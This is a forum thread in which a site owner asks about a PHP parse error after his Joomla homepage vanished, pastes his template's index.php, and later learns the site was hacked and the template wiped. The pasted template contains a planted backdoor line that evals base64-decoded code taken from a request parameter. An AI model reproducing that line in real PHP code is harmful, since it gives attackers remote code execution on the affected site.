Hi,
Can anyone help me please? My Homepage just disappeared and the message seen when I click my normal Homepage address is:
Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11
This is the HTML from my JOOMLA Template HTML Editor: - <?php
-
defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['c_id'])));
-
defined('_JEXEC') or die;
-
-
/**
-
* Template for Joomla! CMS, created with Artisteer.
-
* See readme.txt for more details on how to use the template.
-
*/
-
-
// Check that the template is compatible with Joomla version:
-
$version
Thanks - hope someone can advise. Best wishes. Roger.
6 8703
If that's all there is in your file, that explains it.
It's obvious that the file has not been fully updated/uploaded. Overwrite the file(s) with the complete versions.
Thank you acoder - here is what I think is the full version from the index.php file in my cpanel, can anybody help please with this error, thanks:
Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11 - <?php
-
/**
-
* @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $
-
* @package Joomla
-
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
-
* @license GNU/GPL, see LICENSE.php
-
* Joomla! is free software. This version may have been modified pursuant
-
* to the GNU General Public License, and as distributed it includes or
-
* is derivative of works licensed under the GNU General Public License or
-
* other free or open source software licenses.
-
* See COPYRIGHT.php for copyright notices and details.
-
*/
-
-
// Set flag that this is a parent file
-
define( '_JEXEC', 1 );
-
-
define('JPATH_BASE', dirname(__FILE__) );
-
-
define( 'DS', DIRECTORY_SEPARATOR );
-
-
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
-
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
-
-
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
-
-
/**
-
* CREATE THE APPLICATION
-
*
-
* NOTE :
-
*/
-
$mainframe =& JFactory::getApplication('site');
-
-
/**
-
* INITIALISE THE APPLICATION
-
*
-
* NOTE :
-
*/
-
// set the language
-
$mainframe->initialise();
-
-
JPluginHelper::importPlugin('system');
-
-
// trigger the onAfterInitialise events
-
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
-
$mainframe->triggerEvent('onAfterInitialise');
-
-
/**
-
* ROUTE THE APPLICATION
-
*
-
* NOTE :
-
*/
-
$mainframe->route();
-
-
// authorization
-
$Itemid = JRequest::getInt( 'Itemid');
-
$mainframe->authorize($Itemid);
-
-
// trigger the onAfterRoute events
-
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
-
$mainframe->triggerEvent('onAfterRoute');
-
-
/**
-
* DISPATCH THE APPLICATION
-
*
-
* NOTE :
-
*/
-
$option = JRequest::getCmd('option');
-
$mainframe->dispatch($option);
-
-
// trigger the onAfterDispatch events
-
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
-
$mainframe->triggerEvent('onAfterDispatch');
-
-
/**
-
* RENDER THE APPLICATION
-
*
-
* NOTE :
-
*/
-
$mainframe->render();
-
-
// trigger the onAfterRender events
-
JDEBUG ? $_PROFILER->mark('afterRender') : null;
-
$mainframe->triggerEvent('onAfterRender');
-
-
/**
-
* RETURN THE RESPONSE
-
*/
-
echo JResponse::toString($mainframe->getCfg('gzip'));
Are you sure? It seems they're 2 different files.
Find the complete version of the code that you posted in your OP and make sure the file in your Template Editor contains the full version.
Hi - thanks for responding,
Just checked and the original code in the Template Editor is exactly as in my OP above...can't locate the full version anywhere else...can you suggest where it could be or what I could try next?
Thanks, Roger
Thanks acoder, have spent last day or so getting the problem checked out by Joomla expert and the site was hacked into and the template wiped. Template being rebuilt at a small cost from a cached page so hopefully all will be ok. Advice to all readers to avoid same problem back up your site so if you get hacked it can be restored to last backed up version, something I didn't do...thanks!
Sign in to post your reply or Sign up for a free account.
Similar topics
by: Wescotte |
last post by:
The error message Parse error: syntax error, unexpected $end in FILE on
line X is one I run into frequently and I know the cause is I missed an
ending quote.
Is there an easy way to determine...
|
by: basswhizz |
last post by:
Hi guys im having trouble with somethings else now can you help out thanks!!
Im getting this error message
Parse error: syntax error, unexpected $end
Here's my code cheers!!]
<?php
//...
|
by: benicio |
last post by:
Parse error: syntax error, unexpected T_STRING, expecting '(' in C:\wamp\www\study_group\includes\functions.php on line 19
I got this error and this syntax is from 8 to 19th line.
<?php
...
|
by: broll911 |
last post by:
I am gettin a error message on this script can someone help me. I am a complete newbie on this stuff. Thanks in advance for any help you can give me.
here is the error.
Parse error: syntax error,...
|
by: brkseven |
last post by:
Looking for help with this Contact Form.
The error is on line 1, but that' doesn't mean a lot, I think. In fact, a php syntax check passed it, but I was hoping for an easy syntax error, it looks...
|
by: Topbidder |
last post by:
I have this error on the code
Parse error: syntax error, unexpected '"' in /home/topbidd/public_html/bid2/bid_classic.php on line 159
now i thought the error was this
It seems that the...
|
by: CYNTHIA CUTRER |
last post by:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
...
|
by: 9139530 |
last post by:
Hey, I'm getting the error:
Parse error: syntax error, unexpected T_VARIABLE in Z:\home\baza\www\get2.php on line 7
with this code (have 2 pages , html-from page (reguser.php) and...
|
by: Vicki Hendra |
last post by:
Hi
I am new to php fullstop
I and colleagues have setup wordpress blogs for our local towns, giving the local businesses free advertisment.
Part of the problem started when using wordpress...
|
by: Adam Pelling |
last post by:
I'm getting this error
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /home/neblncbt/public_html/forum/includes/acp/acp_board.php on line 69
Here is the...
|
by: Charles Arthur |
last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
|
by: emmanuelkatto |
last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud.
Please let me know.
Thanks!
Emmanuel
|
by: BarryA |
last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
|
by: Sonnysonu |
last post by:
This is the data of csv file
1 2 3
1 2 3
1 2 3
1 2 3
2 3
2 3
3
the lengths should be different i have to store the data by column-wise with in the specific length.
suppose the i have to...
|
by: Hystou |
last post by:
There are some requirements for setting up RAID:
1. The motherboard and BIOS support RAID configuration.
2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
|
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
|
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
|
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...
|
by: agi2029 |
last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...
| | |